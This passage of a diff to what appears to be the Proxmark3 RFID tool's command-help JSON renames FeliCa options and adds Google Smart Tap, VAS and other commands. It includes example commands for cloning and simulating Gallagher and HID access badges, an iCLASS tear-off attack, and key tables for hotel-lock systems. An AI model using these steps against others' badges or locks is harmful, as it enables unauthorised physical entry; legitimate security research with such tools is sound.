00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --endpoint-public-key 04AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --flow fast -a", - "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --step-up-scopes matter1,non_access_extensions" + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key ./reader-private-key.pem --step-up-scopes matter1,non_access_extensions" ], "offline": false, "options": [ @@ -2281,14 +2282,14 @@ "-k, --k-persistent, --key-persistent, --kpersistent, --keypersistent, --kp Kpersistent (32 bytes, optional; used for fast cryptogram verification)", "-g, --reader-group-id, --readergroupid, --rgi Reader group identifier (16 bytes)", "-s, --reader-sub-group-id, --readersubid, --rsi Reader subgroup identifier (16 bytes, default: all zeroes)", - "-p, --reader-private-key, --readerprivkey, --rpk Reader private key (32 bytes, P-256)", + "-p, --reader-private-key, --readerprivkey, --rpk Reader private key (P-256): PEM, DER hex, scalar hex/base64, or file path", "-t, --transaction-id, --ti Transaction identifier (16 bytes, optional; random if omitted)", "-e, --endpoint-public-key, --endpointpublickey, --epk Endpoint public key for AUTH0 fast verification (32-byte X or 65-byte uncompressed)", "-f, --flow Transaction flow (default: step-up)", "--step-up-scopes Comma-separated step-up scopes (default: matter1)", "-a, --apdu Show APDU requests and responses" ], - "usage": "hf aliro read [-ha] [-k ] -g [-s ] -p [-t ] [-e ] [-f ] [--step-up-scopes ]" + "usage": "hf aliro read [-ha] [-k ] -g [-s ] -p [-t ] [-e ] [-f ] [--step-up-scopes ]" }, "hf cipurse aread": { "command": "hf cipurse aread", @@ -2724,52 +2725,72 @@ "notes": [ "hf felica auth1 --an 01 --acl 0000 --sn 01 --scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB", "hf felica auth1 --an 01 --acl 0000 --sn 01 --scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA", - "hf felica auth1 -i 11100910C11BC407 --an 01 --acl 0000 --sn 01 ..scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB" + "hf felica auth1 --idm 11100910C11BC407 --an 01 --acl 0000 --sn 01 ..scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB" ], "offline": false, "options": [ "-h, --help This help", "--an number of areas, 1 byte", "--acl area code list, 2 bytes", - "-i set custom IDm", + "--idm set custom IDm", "--sn number of service, 1 byte", "--scl service code list, 2 bytes", "-k, --key 3des key, 16 bytes", "-v, --verbose verbose output" ], - "usage": "hf felica auth1 [-hv] [--an ] [--acl ] [-i ] [--sn ] [--scl ] [-k ]" + "usage": "hf felica auth1 [-hv] [--an ] [--acl ] [--idm ] [--sn ] [--scl ] [-k ]" }, "hf felica auth2": { "command": "hf felica auth2", "description": "Complete mutual authentication. This command can only be executed subsquent to Auth1 INCOMPLETE / EXPERIMENTAL COMMAND!!! EXPERIMENTAL COMMAND - M2c/P2c will be not checked", "notes": [ "hf felica auth2 --cc 0102030405060708 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB", - "hf felica auth2 -i 11100910C11BC407 --cc 0102030405060708 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB" + "hf felica auth2 --idm 11100910C11BC407 --cc 0102030405060708 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm", + "--idm set custom IDm", "-c, --cc M3c card challenge, 8 bytes", "-k, --key 3des M3c decryption key, 16 bytes", "-v, --verbose verbose output" ], - "usage": "hf felica auth2 [-hv] [-i ] [-c ] [-k ]" + "usage": "hf felica auth2 [-hv] [--idm ] [-c ] [-k ]" + }, + "hf felica discnodes": { + "command": "hf felica discnodes", + "description": "Dump all existing Area Code and Service Code. Method: auto | request_code_list | search_service_code | request_service | read_without_encryption", + "notes": [ + "hf felica discnodes", + "hf felica discnodes --retry 5", + "hf felica discnodes --method request_service", + "hf felica discnodes --idm 11100910C11BC407" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-r, --retry number of retries", + "-m, --method node discovery method", + "--idm use custom IDm" + ], + "usage": "hf felica discnodes [-h] [-r ] [-m ] [--idm ]" }, "hf felica dump": { "command": "hf felica dump", "description": "Dump all existing Area Code and Service Code. Only works on services that do not require authentication yet.", "notes": [ "hf felica dump", - "hf felica dump --retry 5" + "hf felica dump --retry 5", + "hf felica dump --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", "--no-auth read public services", - "-r, --retry number of retries" + "-r, --retry number of retries", + "--idm use custom IDm" ], - "usage": "hf felica dump [-h] [--no-auth] [-r ]" + "usage": "hf felica dump [-h] [--no-auth] [-r ] [--idm ]" }, "hf felica help": { "command": "hf felica help", @@ -2808,7 +2829,7 @@ "command": "hf felica liteauth", "description": "Authenticate", "notes": [ - "hf felica liteauth -i 11100910C11BC407", + "hf felica liteauth --idm 11100910C11BC407", "hf felica liteauth --key 46656c69436130313233343536616263", "hf felica liteauth --key 46656c69436130313233343536616263 -k", "hf felica liteauth -c 701185c59f8d30afeab8e4b3a61f5cc4 --key 46656c69436130313233343536616263" @@ -2818,10 +2839,10 @@ "-h, --help This help", "--key set card key, 16 bytes", "-c, set random challenge, 16 bytes", - "-i, set custom IDm", + "--idm set custom IDm", "-k, keep signal field ON after receive" ], - "usage": "hf felica liteauth [-hk] [--key ] [-c ] [-i ]" + "usage": "hf felica liteauth [-hk] [--key ] [-c ] [--idm ]" }, "hf felica litedump": { "command": "hf felica litedump", @@ -2832,10 +2853,10 @@ "offline": false, "options": [ "-h, --help This help", - "-i, set custom IDm", + "--idm set custom IDm", "--key set card key, 16 bytes" ], - "usage": "hf felica litedump [-h] [-i ] [--key ]" + "usage": "hf felica litedump [-h] [--idm ] [--key ]" }, "hf felica litesim": { "command": "hf felica litesim", @@ -2876,13 +2897,13 @@ "notes": [ "hf felica rdbl --sn 01 --scl 8B00 --bn 01 --ble 8000", "hf felica rdbl --sn 01 --scl 4B18 --bn 01 --ble 8000 -b", - "hf felica rdbl -i 01100910c11bc407 --sn 01 --scl 8B00 --bn 01 --ble 8000" + "hf felica rdbl --idm 01100910c11bc407 --sn 01 --scl 8B00 --bn 01 --ble 8000" ], "offline": false, "options": [ "-h, --help This help", "-b get all block list elements 00 -> FF", - "-i set custom IDm", + "--idm set custom IDm", "-l, --long use 3 byte block list element block number", "--sn number of service", "--scl service code list", @@ -2890,7 +2911,7 @@ "--ble block list element (def 2|3 bytes)", "-v, --verbose verbose output" ], - "usage": "hf felica rdbl [-hblv] [-i ] [--sn ] [--scl ] [--bn ] [--ble ]" + "usage": "hf felica rdbl [-hblv] [--idm ] [--sn ] [--scl ] [--bn ] [--ble ]" }, "hf felica reader": { "command": "hf felica reader", @@ -2912,29 +2933,29 @@ "notes": [ "hf felica resetmode", "hf felica resetmode -r 0001", - "hf felica resetmode -i 11100910C11BC407" + "hf felica resetmode --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm", + "--idm set custom IDm", "-r set custom reserve", "-v, --verbose verbose output" ], - "usage": "hf felica resetmode [-hv] [-i ] [-r ]" + "usage": "hf felica resetmode [-hv] [--idm ] [-r ]" }, "hf felica rqresponse": { "command": "hf felica rqresponse", "description": "Use this command to verify the existence of a card and its Mode. - current mode of the card is returned", "notes": [ - "hf felica rqresponse -i 11100910C11BC407" + "hf felica rqresponse --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm" + "--idm set custom IDm" ], - "usage": "hf felica rqresponse [-h] [-i ]" + "usage": "hf felica rqresponse [-h] [--idm ]" }, "hf felica rqservice": { "command": "hf felica rqservice", @@ -2942,7 +2963,7 @@ "notes": [ "hf felcia rqservice --node 01 --code FFFF", "hf felcia rqservice -a --code FFFF", - "hf felica rqservice -i 011204126417E405 --node 01 --code FFFF" + "hf felica rqservice --idm 011204126417E405 --node 01 --code FFFF" ], "offline": false, "options": [ @@ -2950,9 +2971,9 @@ "-a, --all auto node number mode, iterates through all nodes 1 < n < 32", "-n, --node Number of Node", "-c, --code Node Code List (little endian)", - "-i, --idm use custom IDm" + "--idm use custom IDm" ], - "usage": "hf felica rqservice [-ha] [-n ] [-c ] [-i ]" + "usage": "hf felica rqservice [-ha] [-n ] [-c ] [--idm ]" }, "hf felica rqspecver": { "command": "hf felica rqspecver", @@ -2960,44 +2981,46 @@ "notes": [ "hf felica rqspecver", "hf felica rqspecver -r 0001", - "hf felica rqspecver -i 11100910C11BC407" + "hf felica rqspecver --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm", + "--idm set custom IDm", "-r set custom reserve", "-v, --verbose verbose output" ], - "usage": "hf felica rqspecver [-hv] [-i ] [-r ]" + "usage": "hf felica rqspecver [-hv] [--idm ] [-r ]" }, "hf felica rqsyscode": { "command": "hf felica rqsyscode", "description": "Use this command to acquire System Code registered to the card. - if a card is divided into more than one System, this command acquires System Code of each System existing in the card.", "notes": [ "hf felica rqsyscode", - "hf felica rqsyscode -i 11100910C11BC407" + "hf felica rqsyscode --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm" + "--idm set custom IDm" ], - "usage": "hf felica rqsyscode [-h] [-i ]" + "usage": "hf felica rqsyscode [-h] [--idm ]" }, "hf felica scsvcode": { "command": "hf felica scsvcode", "description": "Dump all existing Area Code and Service Code.", "notes": [ "hf felica scsvcode", - "hf felica scsvcode --retry 5" + "hf felica scsvcode --retry 5", + "hf felica scsvcode --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-r, --retry number of retries" + "-r, --retry number of retries", + "--idm use custom IDm" ], - "usage": "hf felica scsvcode [-h] [-r ]" + "usage": "hf felica scsvcode [-h] [-r ] [--idm ]" }, "hf felica seacinfo": { "command": "hf felica seacinfo", @@ -3031,20 +3054,20 @@ "description": "Use this command to write block data to authentication-not-required Service. - Mode shall be Mode0. - Un-/Ssuccessful == Status Flag1 and Flag2", "notes": [ "hf felica wrbl --sn 01 --scl CB10 --bn 01 --ble 8001 -d 0102030405060708090A0B0C0D0E0F10", - "hf felica wrbl -i 01100910c11bc407 --sn 01 --scl CB10 --bn 01 --ble 8001 -d 0102030405060708090A0B0C0D0E0F10" + "hf felica wrbl --idm 01100910c11bc407 --sn 01 --scl CB10 --bn 01 --ble 8001 -d 0102030405060708090A0B0C0D0E0F10" ], "offline": false, "options": [ "-h, --help This help", "-d, --data data, 16 hex bytes", - "-i set custom IDm", + "--idm set custom IDm", "--sn number of service", "--scl service code list", "--bn number of block", "--ble block list element (def 2|3 bytes)", "-v, --verbose verbose output" ], - "usage": "hf felica wrbl [-hv] [-d ] [-i ] [--sn ] [--scl ] [--bn ] [--ble ]" + "usage": "hf felica wrbl [-hv] [-d ] [--idm ] [--sn ] [--scl ] [--bn ] [--ble ]" }, "hf fido assert": { "command": "hf fido assert", @@ -3241,29 +3264,37 @@ }, "hf gallagher clone": { "command": "hf gallagher clone", - "description": "Clone Gallagher credentials to a writable DESFire card Specify site key is required if using non-default key Key, lengths for the different crypto: DES 8 bytes 2TDEA or AES 16 bytes 3TDEA 24 bytes AID, default finds lowest available in range 0x??81F4, where ?? >= 0x20.", + "description": "Clone Gallagher credentials to a writable DESFire or MIFARE Classic card Use -c for MIFARE Classic cards Specify site key is required if using non-default key DESFire key lengths for the different crypto: DES 8 bytes 2TDEA or AES 16 bytes 3TDEA 24 bytes AID, default finds lowest available in range 0x??81F4, where ?? >= 0x20.", "notes": [ - "hf gallagher clone --rc 1 --fc 22 --cn 3333 --il 4 --sitekey 00112233445566778899aabbccddeeff" + "hf gallagher clone --rc 1 --fc 22 --cn 3333 --il 4 --sitekey 00112233445566778899aabbccddeeff", + "hf gallagher clone -c --rc 1 --fc 22 --cn 3333 --il 4", + "hf gallagher clone -c --rc 12 --fc 4919 --cn 61453 --il 1 --sector 15 --nomes", + "hf gallagher clone -c --rc 1 --fc 22 --cn 3333 --il 4 --nomad" ], "offline": false, "options": [ "-h, --help This help", - "-n, --keynum PICC key number [default = 0]", - "-t, --algo PICC crypt algo: DES, 2TDEA, 3TDEA, AES", - "-k, --key Key for authentication to the PICC to create applications", + "-c, --classic Write to MIFARE Classic card instead of DESFire", + "-n, --keynum DESFire: PICC key number [default = 0]", + "-t, --algo DESFire: PICC crypt algo", + "-k, --key DESFire: Key for authentication to the PICC", "--rc Region code. 4 bits max", "--fc Facility code. 2 bytes max", "--cn Card number. 3 bytes max", "--il Issue level. 4 bits max", - "--aid Application ID to write (3 bytes) [default automatically chooses]", + "--aid DESFire: Application ID to write (3 bytes) [default auto]", "--sitekey Site key to compute diversified keys (16 bytes)", - "--cadkey Custom AES key 0 to modify the Card Application Directory (16 bytes)", - "--nocadupdate Don't modify the Card Application Directory (only creates the app)", - "--noappcreate Don't create the application (only modifies the CAD)", + "--cadkey DESFire: Custom AES key 0 for CAD (16 bytes)", + "--nocadupdate DESFire: Don't modify the CAD (only creates the app)", + "--noappcreate DESFire: Don't create the app (only modifies the CAD)", "--apdu Show APDU requests and responses", - "-v, --verbose Verbose output" + "-v, --verbose Verbose output", + "--sector Classic: Sector number [default = 15]", + "--cadsector Classic: CAD sector number [default = 0, skip]", + "--nomes Classic: Don't include MIFARE Enhanced Security block", + "--nomad Classic: Don't update the MAD" ], - "usage": "hf gallagher clone [-hv] [-n ] [-t ] [-k ] --rc --fc --cn --il [--aid ] [--sitekey ] [--cadkey ] [--nocadupdate] [--noappcreate] [--apdu]" + "usage": "hf gallagher clone [-hcv] [-n ] [-t ] [-k ] --rc --fc --cn --il [--aid ] [--sitekey ] [--cadkey ] [--nocadupdate] [--noappcreate] [--apdu] [--sector ] [--cadsector ] [--nomes] [--nomad]" }, "hf gallagher decode": { "command": "hf gallagher decode", @@ -3332,10 +3363,11 @@ }, "hf gallagher help": { "command": "hf gallagher help", - "description": "help This help diversifykey Diversify Gallagher key decode Decode Gallagher credential block encode Encode Gallagher credential block --------------------------------------------------------------------------------------- hf gallagher reader available offline: no Read a Gallagher DESFire tag from the Card Application Directory, CAD Specify site key is required if using non-default key", + "description": "help This help diversifykey Diversify Gallagher key decode Decode Gallagher credential block encode Encode Gallagher credential block test Test the function of Gallagher Mifare Core --------------------------------------------------------------------------------------- hf gallagher reader available offline: no Read a Gallagher tag from the Card Application Directory, CAD Specify site key is required if using non-default key", "notes": [ - "hf gallagher reader -@ -> continuous reader mode", - "hf gallagher reader --aid 2081f4 --sitekey 00112233445566778899aabbccddeeff -> skip CAD" + "hf gallagher reader -@ -> DESFIRE(default): continuous reader mode", + "hf gallagher reader -c -@ -> CLASSIC: continuous reader mode", + "hf gallagher reader --aid 2081f4 --sitekey 00112233445566778899aabbccddeeff -> DESFIRE: skip CAD" ], "offline": true, "options": [ @@ -3344,13 +3376,99 @@ "--sitekey Site key to compute diversified keys (16 bytes)", "-@, --continuous Continuous reader mode", "--apdu Show APDU requests and responses", + "-v, --verbose Verbose output", + "-c, --classic Read Gallagher mifare Classic card" + ], + "usage": "hf gallagher reader [-h@vc] [--aid ] [--sitekey ] [--apdu]" + }, + "hf gallagher test": { + "command": "hf gallagher test", + "description": "Test the function of Gallagher Mifare Core", + "notes": [ + "hf gallagher test" + ], + "offline": true, + "options": [ + "-h, --help This help" + ], + "usage": "hf gallagher test [-h]" + }, + "hf gst help": { + "command": "hf gst help", + "description": "----------- ----------------------- General ----------------------- help This help list List ISO 14443A/7816 history test Perform self tests --------------------------------------------------------------------------------------- hf gst list available offline: yes Alias of `trace list -t 7816` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "notes": [ + "hf gst list --frame -> show frame delay times", + "hf gst list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-1, --buffer use data from trace buffer", + "--frame show frame delay times", + "-c mark CRC bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into Wireshark using encapsulation type \"ISO 14443\"", + "-f, --file filename of dictionary" + ], + "usage": "hf gst list [-h1crux] [--frame] [-f ]" + }, + "hf gst info": { + "command": "hf gst info", + "description": "Select OSE / Smart Tap applet and print capabilities.", + "notes": [ + "hf gst info", + "hf gst info --select-smarttap2 yes -a" + ], + "offline": false, + "options": [ + "-h, --help This help", + "--select-smarttap2 Whether to perform Smart Tap applet select (default: auto)", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf gst info [-ha] [--select-smarttap2 ]" + }, + "hf gst read": { + "command": "hf gst read", + "description": "Execute Google Smart Tap read flow and print parsed pass objects.", + "notes": [ + "hf gst read --cid 20180608 --rpk gst.google.der", + "hf gst read --cid 13380028 --rpk gst.passkit.der", + "hf gst read --cid 20180608 --rpk \"" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-c, --collector-id, --collectorid, --cid Collector identifier (32-bit value)", + "-p, --reader-private-key, --readerprivkey, --rpk Reader private key: PEM, DER hex, scalar hex/base64, or file path", + "--key-version, --keyversion, --kv Long-term key version (default: 1)", + "--session-id, --sid Session id (8 bytes, random if omitted)", + "--reader-nonce, --nonce Reader nonce (32 bytes, random if omitted)", + "--reader-ephemeral-private-key, --ephemeral-privkey, --epk Reader ephemeral private key (32 bytes, random if omitted)", + "--mode Reader mode (default: pass-over-payment)", + "--select-smarttap2 Whether to perform Smart Tap applet select (default: auto)", + "--no-live-auth Use zeroed handset nonce for reader signature", + "-a, --apdu Show APDU requests and responses", "-v, --verbose Verbose output" ], - "usage": "hf gallagher reader [-h@v] [--aid ] [--sitekey ] [--apdu]" + "usage": "hf gst read [-hav] -c -p [--key-version ] [--session-id ] [--reader-nonce ] [--reader-ephemeral-private-key ] [--mode ] [--select-smarttap2 ] [--no-live-auth]" + }, + "hf gst test": { + "command": "hf gst test", + "description": "Perform self tests", + "notes": [ + "hf gst test" + ], + "offline": true, + "options": [ + "-h, --help This help" + ], + "usage": "hf gst test [-h]" }, "hf help": { "command": "hf help", - "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } aliro { ALIRO digital access credentials... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } aliro { ALIRO digital access credentials... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } gst { Google Smart Tap passes... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf list --frame -> show frame delay times", "hf list -1 -> use trace buffer" @@ -3369,6 +3487,29 @@ ], "usage": "hf list [-h1crux] [--frame] [-f ]" }, + "hf iclass blacktears": { + "command": "hf iclass blacktears", + "description": "Tear off the iCLASS (new-silicon only) configuration block to set non-secure page mode. Make sure you know the target card credit key. Typical `--ki 1` or `--ki 3`", + "notes": [ + "hf iclass blacktears -k 001122334455667B", + "hf iclass blacktears --ki 1" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-k, --key Access key as 8 hex bytes", + "--ki Key index to select key from memory 'hf iclass managekeys'", + "--credit key is assumed to be the credit key", + "-s tearoff delay start (in us) must be between 1 and 43000 (43ms). Precision is about 1/3 us", + "-i tearoff delay increment (in us) - default 10", + "-e tearoff delay end (in us) must be a higher value than the start delay", + "-o, --otp Custom OTP value as 2 hex bytes", + "--raw no computations applied to key", + "-v, --verbose verbose output", + "--shallow use shallow (ASK) reader modulation instead of OOK" + ], + "usage": "hf iclass blacktears [-hv] [-k ] [--ki ] [--credit] [-s ] [-i ] [-e ] [-o ] [--raw] [--shallow]" + }, "hf iclass calcnewkey": { "command": "hf iclass calcnewkey", "description": "Calculate new keys for updating (blocks 3 & 4)", @@ -4928,21 +5069,25 @@ }, "hf mf encodehid": { "command": "hf mf encodehid", - "description": "Encode binary wiegand to card Use either --bin or --wiegand/--fc/--cn", + "description": "Encode HID/Wiegand data to a MIFARE Classic card Use one of --bin, --raw, --new, or --wiegand/--fc/--cn", "notes": [ "hf mf encodehid --bin 10001111100000001010100011 -> FC 31 CN 337 (H10301)", + "hf mf encodehid --raw 063E02A3", + "hf mf encodehid --new 068F80A8C0", "hf mf encodehid -w H10301 --fc 31 --cn 337" ], "offline": false, "options": [ "-h, --help This help", "--bin Binary string i.e 0001001001", + "--raw HID raw hex with sentinel bit already present", + "--new new ASN.1 PACS hex from `wiegand encode --new`", "--fc facility code", "--cn card number", "-w, --wiegand see `wiegand list` for available formats", "-v, --verbose verbose output" ], - "usage": "hf mf encodehid [-hv] [--bin ] [--fc ] [--cn ] [-w ]" + "usage": "hf mf encodehid [-hv] [--bin ] [--raw ] [--new ] [--fc ] [--cn ] [-w ]" }, "hf mf esave": { "command": "hf mf esave", @@ -5383,7 +5528,7 @@ }, "hf mf keygen": { "command": "hf mf keygen", - "description": "Generate key table for some known KDFs Available KDFs: 0 - Saflok / Maid 1 - MIZIP 2 - Disney Infinity 3 - Skylanders 4 - Bambu Lab Filament Spool 5 - Snapmaker Filament Spool", + "description": "Generate key table for some known KDFs Available KDFs: 0 - Saflok / Maid 1 - MIZIP 2 - Disney Infinity 3 - Skylanders 4 - Bambu Lab Filament Spool 5 - Snapmaker Filament Spool 6 - Vanderbilt ACT 7 - Kale", "notes": [ "hf mf keygen -r -k 0", "hf mf keygen -r -d -k 0", @@ -8660,30 +8805,47 @@ "options": [ "-h, --help This help", "--pid PID, pass type id", - "-k, --key path to terminal private key file", + "-k, --key, --file, --reader-private-key, --readerprivkey, --rpk Terminal private key: PEM, DER hex, scalar hex/base64, or file path", "-d, --data cryptogram to decrypt" ], - "usage": "hf vas decrypt [-h] [--pid ] [-k ] [-d ]" + "usage": "hf vas decrypt [-h] [--pid ] [-k ] [-d ]" }, "hf vas help": { "command": "hf vas help", - "description": "-------- ----------- Value Added Service ----------- help This help -------- ----------------- General ----------------- decrypt Decrypt a previously captured VAS cryptogram --------------------------------------------------------------------------------------- hf vas reader available offline: no Read and decrypt Value Added Services (VAS) message", + "description": "-------- ----------- Value Added Service ----------- help This help -------- ----------------- General ----------------- decrypt Decrypt a previously captured VAS cryptogram --------------------------------------------------------------------------------------- hf vas info available offline: no Select VAS applet and print capabilities.", "notes": [ - "hf vas reader --url https://example.com -> URL Only mode", - "hf vas reader --pid pass.com.passkit.pksamples.nfcdemo -k vas.passkit.der -@", - "hf vas reader --pid pass.com.pronto.zebra-wallet-pass.demo -k vas.zebra.der -@", - "hf vas reader --pid pass.com.springcard.springblue.generic -k vas.springcard.der -@" + "hf vas info", + "hf vas info -a" ], "offline": true, "options": [ "-h, --help This help", - "--pid PID, pass type id", - "-k, --key path to terminal private key file", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf vas info [-ha]" + }, + "hf vas reader": { + "command": "hf vas reader", + "description": "Read and decrypt Value Added Services (VAS) message", + "notes": [ + "hf vas reader --url https://example.com -> URL Only mode", + "hf vas reader --pid pass.com.passkit.pksamples.nfcdemo -k vas.passkit.der -@", + "hf vas reader --pid pass.com.pronto.zebra-wallet-pass.demo -k vas.zebra.der -@", + "hf vas reader --pid pass.com.springcard.springblue.generic -k vas.springcard.der -@", + "hf vas reader --pid pass.id.one --pid pass.id.two -k key.one.der -k key.two.der", + "hf vas reader --mode vasandpay --pid pass.id -k key.der" + ], + "offline": false, + "options": [ + "-h, --help This help", + "--pid PID, pass type id (repeat --pid for multiple values)", + "-k, --key, --file, --reader-private-key, --readerprivkey, --rpk Terminal private key (repeat --key for multiple values)", "--url a URL to provide to the mobile device", + "--mode VAS mode used in ECP and GET DATA capabilities", "-@ continuous mode", "-v, --verbose Verbose output" ], - "usage": "hf vas reader [-h@v] [--pid ] [-k ] [--url ]" + "usage": "hf vas reader [-h@v] [--pid ]... [-k ]... [--url ] [--mode ]" }, "hf waveshare help": { "command": "hf waveshare help", @@ -10317,6 +10479,8 @@ "description": "clone a HID Prox tag to a T55x7, Q5/T5555 or EM4305/4469 tag. Tag must be on the antenna when issuing this command.", "notes": [ "lf hid clone -r 2006ec0c86 -> write raw value for T55x7 tag (HID 10301 26 bit)", + "lf hid clone --bin 10001111100000001010100011 -> write binary HID payload for T55x7 tag", + "lf hid clone --new 068F80A8C0 -> write PACS-encoded HID payload for T55x7 tag", "lf hid clone -r 2e0ec00c87 -> write raw value for T55x7 tag (HID Corporate 35 bit)", "lf hid clone -r 01f0760643c3 -> write raw value for T55x7 tag (HID P10001 40 bit)", "lf hid clone -r 01400076000c86 -> write raw value for T55x7 tag (HID Corporate 48 bit)", @@ -10335,9 +10499,10 @@ "-r, --raw raw bytes", "--q5 optional - specify writing to Q5/T5555 tag", "--em optional - specify writing to EM4305/4469 tag", - "--bin Binary string i.e 0001001001" + "--bin Binary string i.e 0001001001", + "--new new ASN.1 PACS hex from `wiegand encode --new`" ], - "usage": "lf hid clone [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ] [--q5] [--em] [--bin ]" + "usage": "lf hid clone [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ] [--q5] [--em] [--bin ] [--new ]" }, "lf hid help": { "command": "lf hid help", @@ -10369,9 +10534,9 @@ "description": "Enables simulation of HID card with card number. Simulation runs until the button is pressed or another USB command is issued.", "notes": [ "lf hid sim -r 2006ec0c86 -> HID 10301 26 bit", + "lf hid sim --bin 10001111100000001010100011", + "lf hid sim --new 068F80A8C0", "lf hid sim -r 2e0ec00c87 -> HID Corporate 35 bit", - "lf hid sim -r 01f0760643c3 -> HID P10001 40 bit", - "lf hid sim -r 01400076000c86 -> HID Corporate 48 bit", "lf hid sim -w H10301 --fc 118 --cn 1603 -> HID 10301 26 bit" ], "offline": false, @@ -10382,9 +10547,11 @@ "--cn card number", "-i issue level", "-o, --oem OEM code", - "-r, --raw raw bytes" + "-r, --raw raw bytes", + "--bin Binary string i.e 0001001001", + "--new new ASN.1 PACS hex from `wiegand encode --new`" ], - "usage": "lf hid sim [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ]" + "usage": "lf hid sim [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ] [--bin ] [--new ]" }, "lf hid watch": { "command": "lf hid watch", @@ -13917,14 +14084,14 @@ "description": "Decode raw hex or binary to wiegand format", "notes": [ "wiegand decode --raw 2006F623AE", - "wiegand decode --new 06BD88EB80 -> 4..8 bytes, new padded format" + "wiegand decode --new 06BD88EB80 -> 4..13 bytes, new ASN.1 encoded format" ], "offline": true, "options": [ "-h, --help This help", "-r, --raw raw hex to be decoded", "-b, --bin binary string to be decoded", - "-n, --new new padded pacs as raw hex to be decoded", + "-n, --new new ASN.1 encoded data as raw hex to be decoded", "-f, --force skip preabmle checking, brute force all possible lengths for raw hex input" ], "usage": "wiegand decode [-hf] [-r ] [-b ] [-n ]" @@ -13934,19 +14101,24 